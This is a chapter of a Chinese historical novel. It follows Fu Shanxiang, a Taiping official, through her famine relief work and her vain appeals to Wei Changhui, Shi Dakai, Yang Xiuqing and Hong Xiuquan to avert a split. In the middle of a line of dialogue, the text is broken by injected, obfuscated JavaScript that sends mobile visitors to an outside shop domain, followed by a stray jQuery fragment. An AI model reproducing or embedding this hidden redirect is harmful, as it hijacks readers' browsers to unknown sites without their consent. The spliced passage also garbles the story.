咸丰五年的秋天，江宁府城的树叶还没黄透，就从枝头纷纷落了下来。不是风吹的，是旱的。整整一个秋天，老天爷没下过一场透雨。秦淮河的水位降到了历年最低，露出了两岸青黑色的淤泥，龟裂的河床像一张干渴的嘴，张着，合不拢。田地里的庄稼枯了大半，粮价涨到了每斗八百文。粥厂前排队的队伍越来越长，从天不亮一直排到天黑。有人在队伍里晕倒，抬出去，第二天又有人补上，像一条永远不会断流的长河，从城门一直延伸到看不见的远方。傅善祥每天都要去粥厂看一遍。她不是不放心管事的人，管事的人都是她一手挑的，她信得过。她是不放心那些排队的人。那些人看着她，眼睛里有一种东西，不是感激，不是依赖，是一种说不清道不明的——希望。她不喜欢那种眼神。希望太重了，她扛不起。但她不能不看。不看，就是逃避。她不是会逃避的人。
她站在粥厂门口，看着那些排队的人。队伍里有老人，有孩子，有孕妇，有瘸腿的，有瞎眼的，有抱着婴儿的，有搀着老人的。他们的衣裳破破烂烂的，补丁摞着补丁，有些人的衣裳已经看不出原来的颜色了，灰扑扑的，像一块块被雨水泡烂的破布。他们的脸都是黄的，不是天生的黄，是营养不良的黄，像秋天的树叶，干枯的，没有光泽的。他们的眼睛都是凹的，眼窝深深地陷进去，像两口快要干涸的井，井底还有一点水，但不知道什么时候就会干。一个老妇人走过来，手里端着一个粗瓷碗。碗里是稀粥，稀得能照见人影。她走到傅善祥面前，站住了，看着傅善祥，嘴唇动了好几下，才说出话来。“傅大人，谢谢你。”老妇人的声音是哑的，像嗓子被什么东西磨过，粗糙而沙哑。“你救了我们一家。我儿子在湘军那边打仗，不知道是死是活。我儿媳妇跑了，丢下两个孩子。我一个老婆子，带不动。没有你的粥厂，两个孩子早就饿死了。”傅善祥看着老妇人，没有说话。她不知道该怎么回答。她想说“不用谢”，但“不用谢”太轻了，轻得像一片落叶，风一吹就没了。她想说“这是我应该做的”，但她不知道自己是不是“应该”做这些事。她是状元，是丞相，她的本职是管文书，不是管粥厂。没有人要求她做这些，是她自己要做的。她为什么要做？因为她见过饿死的人。她见过饿死的人躺在路边，肚子胀得鼓鼓的，脸是黑的，嘴唇是紫的，眼睛半睁着，看着天，不知道在看什么。她不想再看见了。“大娘，粥够不够吃？”傅善祥问。“够。够。”老妇人连连点头，“傅大人给的粥，比别的粥厂稠。别的粥厂稀得能当镜子照，傅大人这里的粥，能饱肚子。”傅善祥点了点头。“那就好。您慢走。”老妇人走了。走了几步，又回过头来，看了傅善祥一眼，嘴唇动了动，想说什么，又没有说。她转过身，慢慢地走了。她的背影很瘦，像一根被风吹弯了的竹竿，一步一步地挪着，挪得很慢，但她没有回头。傅善祥站在那里，看着老妇人的背影消失在巷口。她忽然想起自己的母亲。母亲死的时候，也是这么瘦。母亲躺在床上，盖着棉被，被子下面几乎看不出人的形状。母亲伸出手，想摸她的脸，手举到一半就掉下去了，像一只折了翅膀的鸟。她握住母亲的手，那只手很凉，凉得像从井里刚打上来的水。母亲的手，再也暖不过来了。她闭上眼睛，深深地吸了一口气。不能想了。想多了，就走不动了。她还要去找林凤祥，还要去东王府，还要去女学，还要去看收养局的孩子。她没有时间难过。她不知道的是，在她看不见的地方，整个天下都在动荡。
咸丰五年秋，捻军在北方越闹越大。捻军是活动在安徽北部、河南东部、山东南部一带的民间武装，与太平军遥相呼应。他们的首领叫张乐行，本是亳州的一个地主，因与官府结仇，聚众起义。捻军不像太平军那样有完整的政治纲领和宗教体系，他们更像一群流动的武装难民，走到哪里，吃到哪里，打到哪里。他们没有固定的根据地，没有稳定的粮饷来源，靠抢掠为生。百姓怕他们，官府也怕他们。咸丰皇帝派僧格林沁去剿捻。僧格林沁是蒙古亲王，咸丰五年三月，他在击溃太平天国北伐军后，被封为“科尔沁郡王”，奉命督办捻军军务。他带的是蒙古骑兵，马快，刀利，杀人不眨眼。他到了安徽，见了张乐行的头，悬赏五万两白银。张乐行听说后，笑着说——“我的头这么值钱？那我更不能让人砍了。”北方捻军闹得凶，南方湘军又在重整旗鼓。曾国藩在湖口兵败后，被咸丰皇帝革去湖北巡抚之职，以兵部侍郎衔戴罪立功。他没有气馁，回到南昌，重整湘军水师。他写信给朋友说——“天下事，非一人一家之私。吾辈读书人，当以天下为己任。败一次，就爬起来。败十次，就爬起来十次。只要不死，就要打下去。”他是真心的。他真心的想救国，真心的想平乱，真心的想让百姓过上好日子。但他真心的方式，是杀。杀长毛，杀得越多越好。他在日记里写——“今日攻克田家镇，毙贼万余，江水为赤。”他没有觉得不妥。在他眼里，长毛不是人，是贼。杀贼，天经地义。东西南北都在打仗，天下没有一块安宁的地方。傅善祥坐在傅宅的书房里，面前摊着那本《资治通鉴》，但她没有在读。她在想——这场仗，什么时候才能打完？她不知道。她只知道，打不完。太平军和清军，你打我，我打你，打了这么多年，死了这么多人，还是没有分出胜负。还会死更多的人。她不想再看到人死了，但她阻止不了。九月，傅善祥开始奔走调和。她去找了韦昌辉。韦昌辉是北王，手握重兵，在朝中地位仅次于杨秀清。他的府邸在江宁府城北，离东王府不远，但格局完全不同。东王府是杨秀清的天下，进进出出的都是将领、谋士、传令兵，人来人往，热闹得像集市。北王府却很安静，安静得像一座庙。门口站着几个侍卫，一动不动，像石雕。院子里种着几棵松树，修剪得整整齐齐，没有一片多余的叶子。地上铺着青砖，砖缝里连一根草都没有。傅善祥走进去的时候，韦昌辉正在书房里练字。他穿着一件灰蓝色的长衫，外面罩着一件黑色的马褂，腰间系着一条银丝绦带，绦带上挂着一块白玉佩。他的脸很圆，眼睛很小，看人的时候眯着，像在笑，又像没在笑。他写的是一幅对联——“海纳百川，有容乃大；壁立千仞，无欲则刚。”字写得很工整，一笔一划，端端正正，像一个刚学会写字的孩子写的，没有一丝飘逸，没有一丝灵动，但每一个字都很认真，认真得像在绣花。“北王好雅兴。”傅善祥行了一个礼。韦昌辉抬起头，笑眯眯地看着她。“傅丞相来了。坐。”他放下笔，指了指旁边的椅子。椅子是红木的，上面铺着坐垫，坐垫是湖蓝色的绸面，绣着兰花。傅善祥坐下，把准备好的话在心里过了一遍。“北王，臣请您劝劝东王。东王功高，易招非议。若北王能出面调和，则朝局可安，天下可定。”韦昌辉笑眯眯地看着她。“傅丞相说得对。本王一定尽力。”他的笑容很温和，温和得像一碗放凉了的白开水，不烫手，不暖心，什么温度都没有。他的眼睛是眯着的，看不见眼珠，不知道他在看哪里。也许在看她，也许在看墙，也许什么都没看。傅善祥看着他的笑容，忽然觉得后背发凉。她想起了傅平。傅平笑的时候，也是这样的。笑眯眯的，温和的，像一潭死水。死水下面有什么？她不知道。但她知道，死水养不了鱼，只会养蚊子。她行了一个礼，退了出去。走出北王府的大门，她才觉得后背不那么凉了。但那种凉意，一直留在她心里，像一根刺，扎在那里，拔不出来。她又去找了石达开。石达开是翼王，年轻，英武，在军中威望很高。他的府邸在城南，离傅宅不远。院子的门是敞开的，门口没有侍卫，只有两个老兵坐在门槛上晒太阳，手里端着茶碗，茶碗里的水已经凉了，他们也不喝，就那么端着，眯着眼睛，像是在打盹。傅善祥走进去的时候，石达开正在院子里练刀。他穿着一件白色的短衫，袖子挽到手肘，露出一截黝黑粗壮的小臂。他的刀很长，刀身很窄，在阳光下闪着冷冷的光，像一条银蛇。他舞得很慢，一招一式，清清楚楚，不花哨，不耍帅，每一刀都实实在在，刀刀到肉。他练完了，收刀，额头上全是汗。他把刀递给旁边的侍卫，接过毛巾擦了一把脸。“傅丞相，稀客。”石达开的声音很大，像打雷。“什么事？”傅善祥看着他的眼睛。那双眼睛是亮的，亮的像刀锋，亮得像冬天结冰的秦淮河上反射的阳光。他的眼睛里没有笑眯眯，没有算计，没有藏着掖着的东西。他看人的时候，是直直地看着的，不躲闪，不回避，不怕你看，也不怕你看出什么。他的眼睛告诉他——这个人可信。“翼王，臣请您劝劝天王。天王与东王不和，朝局动荡，百姓不安。若翼王能出面调和，则天京可保，太平可期。”石达开看着她，看了很久。他把毛巾扔给侍卫，走到院子里的石凳上坐下，拍了拍旁边的石凳，示意她也坐。傅善祥坐下了。石凳很凉，凉得她打了个哆嗦。“傅丞相，你以为本王没有劝过？”石达开的声音低了下来，低得像从地底下传上来的。“本王劝了。天王不听。东王也不听。他们都不听，本王能怎样？本王是翼王，是带兵打仗的。不是和事佬。本王能做的，是在前线挡着清妖，不让清妖打进天京。至于天王和东王的事，本王管不了。”他的语气很平淡，平淡得像在说一件跟自己无关的事。但傅善祥听出来了，那平淡底下，有无奈，有愤怒，有失望。“翼王，您不管，就没有人管了。”石达开沉默了一会儿。“傅丞相，你以为本王不想管？本王想管。但本王管不了。天王不信本王，东王也不信本王。本王说什么，他们都觉得本王在偏袒对方。本王不说，他们觉得本王在冷眼旁观。本王说什么都是错，做什么都是错。那还不如不说，不做。”傅善祥看着他，不知道该说什么。他说的是对的。她去找了韦昌辉，韦昌辉笑眯眯地说“一定尽力”，但不会真的尽力。她来找石达开，石达开说“管不了”，是真的管不了。她去找了秦日纲，秦日纲说“臣听天王的”。她去找了胡以晃，胡以晃说“臣听东王的”。每一个人都有自己的立场，每一个人都有自己的利益。没有人愿意为了“和”而放弃自己的立场，没有人愿意为了“天下”而牺牲自己的利益。她像一只蚂蚁，在一堵正在倒塌的墙上爬来爬去，想用身体撑住那堵墙。她知道她撑不住。但她不能停下来。停下来，她就成了那些笑眯眯的人，成了那些“管不了”的人，成了那些在墙倒了之后拍拍灰走人的人。她不想做那样的人。张婉如来看她，见她瘦了一圈，眼眶都凹下去了。“善祥，你在做什么？”“在劝。”“劝谁？”“劝所有人。”“有用吗？”
“没有。”“那你还劝？”傅善祥停下脚步，转过身，看着张婉如。“张姐姐，你打过仗。你知道打仗是什么感觉。你知道死一个人是什么感觉。你知道死一百个人是什么感觉。你知道死一千个人是什么感觉。”张婉如的手握住了刀柄。她没有说话。她当然知道。她打了十几年的仗，杀过很多人，也看着很多人被杀。她知道死在刀下是什么样子——血从脖子里喷出来，像喷泉，喷完了，人就软了，像一袋被倒空了的粮食。她知道死在水里是什么样子——肚子胀得鼓鼓的，脸泡得认不出来，眼睛是睁着的，看着天，不知道在看什么。她知道死在火里是什么样子——烧焦了，蜷成一团，像一只烤焦了的虾。“我不想再看到人死了。”傅善祥的声音很轻，轻得像风吹过树梢。“我在江边见过难民，在破庙里见过伤兵，在收养局里见过孤儿。他们的眼睛，我忘不了。那些眼睛在看我，在问我——你能救
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702500|208219||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我们吗？你考了状元，做了官，你能救我们吗？”她的声音断了。不是卡住了，是喉咙被什么东西堵住了。她低下头，看着自己的手。她的手在抖。“张姐姐，我想救他们。但我救不了。我救不了所有人。我能做的，只是不让更多的人死。天王和东王打起来，会死很多人。死很多很多人。我不能让他们打起来。”张婉如看着她，看了很久。她松开刀柄，伸出手，拍了拍傅善祥的肩膀。“你尽力了。”“还不够。”“那就继续。”傅善祥抬起头，看着张婉如。张婉如的眼睛里有一种东西，不是同情，不是怜悯，是——我陪你。你走不动了，我背你。你倒下了，我扶你。你不在了，我替你。“好。继续。”咸丰五年冬，傅善祥又去找了杨秀清。这一次，她没有说“请东王收敛锋芒”，没有说“请东王以大局为重”。她只说了一句话——“东王，您知道韩信是怎么死的吗？”杨秀清正在看舆图，抬起头，看着她。那目光不冷不热，不近不远，像一口千年古井。“韩信功高盖世，最后被吕后所杀。他的死，不是因为他造反，是因为他功高震主。您比韩信功劳还大，您比韩信权力还大，您比韩信——还让天王害怕。天王不是吕后，但天王有刀。”杨秀清沉默了很久。他的手指在舆图上叩了一下，一下，就一下，停了。“傅善祥，你以为本王不知道？”“臣知道东王知道。但知道没有用。要去做。”“做什么？”“做给天王看。退一步，让三分，收敛锋芒，韬光养晦。等天王安心了，您再做事。东王，您不是韩信。韩信是韩信，您是您。韩信没有退路，您有。天王是您的连襟，是您的战友，是您的兄弟。您们一起从广西打过来的，出生入死，流过血，流过汗。您退一步，他不会逼您两步。他是天王，不是吕后。”杨秀清沉默了很久。他转过身，看着窗外。窗外是东王府的院子，院子里种着几棵桂花树，树下有几个侍卫在巡逻。他的背影很宽，肩膀很厚，但此刻看起来有些佝偻，像一棵被风吹弯了的树。“你下去吧。”傅善祥行了一个礼，转身走了。她知道，他听进去了。但她不知道，他会不会做。咸丰六年春，傅善祥又去找了洪秀全。洪秀全还是不见她。她去了第五次，第六次，第七次。第七次的时候，洪秀全见了她。天王府还是那么大，那么空，那么冷。洪秀全坐在龙案后面，穿着一件杏黄色的龙袍，龙是五爪的，绣得金灿灿的。但他的脸是灰的，像一块放久了的石头。“傅善祥，你又来了。”“臣来请天王与东王和。”洪秀全看着她，目光里有疲惫，有厌倦，还有一丝说不清道不明的——可怜。
他可怜她，可怜她还在做无用功。可怜她还不知道，事情已经没有挽回的余地了。可怜她还以为，只要她够努力，一切都会好起来。“傅善祥，你知道东王最近又做了什么吗？他又假借天父下凡了。他又骂朕了。他又说朕不配当天王了。他说天父要换人了。换人。换他自己。你是读书人，你知道这意味着什么。这不是“想被看见”，这是想篡位。”傅善祥沉默了。她知道洪秀全说的是对的。杨秀清已经不是“想被看见”了，他是“想被取代”。他想取代洪秀全，当天王。这不是她能用几句话就调和的了。这是你死我活的事。不是她一个小小的丞相能管的事。“臣知道。”“那你还来劝？”“臣知道臣劝不了。但臣不能不劝。不劝，臣就对不起那些在粥厂排队的人，对不起那些在女学里写字的人，对不起那些在收养局里抱着布老虎的孩子。他们不知道天王和东王在争什么，他们只知道——谁让他们活着，谁就是好人。”洪秀全沉默了很久。他的手指在龙案上叩了一下，一下，就一下，停了。“傅善祥，你是个好人。但这个世道，好人是活不长的。你回去吧。这件事，你不要再管了。管不了，就不要管。管了，只会把自己搭进去。”傅善祥行了一个礼，转身走了。她站在天王府的门口，看着那扇朱红色的大门。门很厚，很重，关上的时候声音很闷，像一块石头落进了井里。她想起了母亲。母亲说，“命是你自己的，谁也不能替你做主。”但她做不了天王的主，也做不了东王的主。她能做的，只是在这道裂痕之间，把自己当成一块石头，垫在裂缝里，不让它裂得太快。她知道她挡不住。但她不能什么都不做。咸丰六年春天，天京城里的石榴树又开了花。红彤彤的，一朵一朵的，像小火苗在枝头跳跃。傅善祥站在傅宅的院子里，看着那棵歪脖子石榴树。去年的枯枝上冒出了新叶，嫩绿的，一片一片的，在阳光下闪闪发亮。她想起祖父说过的话——“树活着，就会发芽。人活着，就会有办法。”她蹲在石榴树下，用手指轻轻摸着那几片新叶。叶子很小，薄的，透光的，叶脉像一根根细细的丝线，从叶柄一直延伸到叶尖。她的手指从叶面上滑过去，凉凉的，滑滑的，像婴儿的皮肤。她会活下去的。不管发生什么事，她都会活下去。活着，才有机会。活着，才能继续做事。她答应过那些在粥厂排队的人，不会让他们饿死。她答应过那些在女学里写字的人，会教她们读书。她答应过那些在收养局里抱着布老虎的孩子，会让他们有家。她不能死。她死了，谁来做这些事？
风吹过来，石榴树的叶子沙沙作响。她站起来，拍了拍膝盖上的土。远处，东王府的方向传来一阵喧哗声。有人在喊，有人在跑，有人在哭。她侧耳听了一会儿，听不清在喊什么。但她知道，那不是好消息。她转过身，走回了书房。她坐在书桌前，研墨，铺纸，提笔。她写——“今日天气晴好，石榴花开满枝。东王府有喧哗声，不知何事。粥厂粮食尚够半月，女学学生又增十人，收养局新收孤儿三名。一切如常。”她写完了，放下笔，看着窗外。石榴树的叶子在风里沙沙作响。她闭上眼睛，等着那一天的到来。那一天，她知道，不会太远了。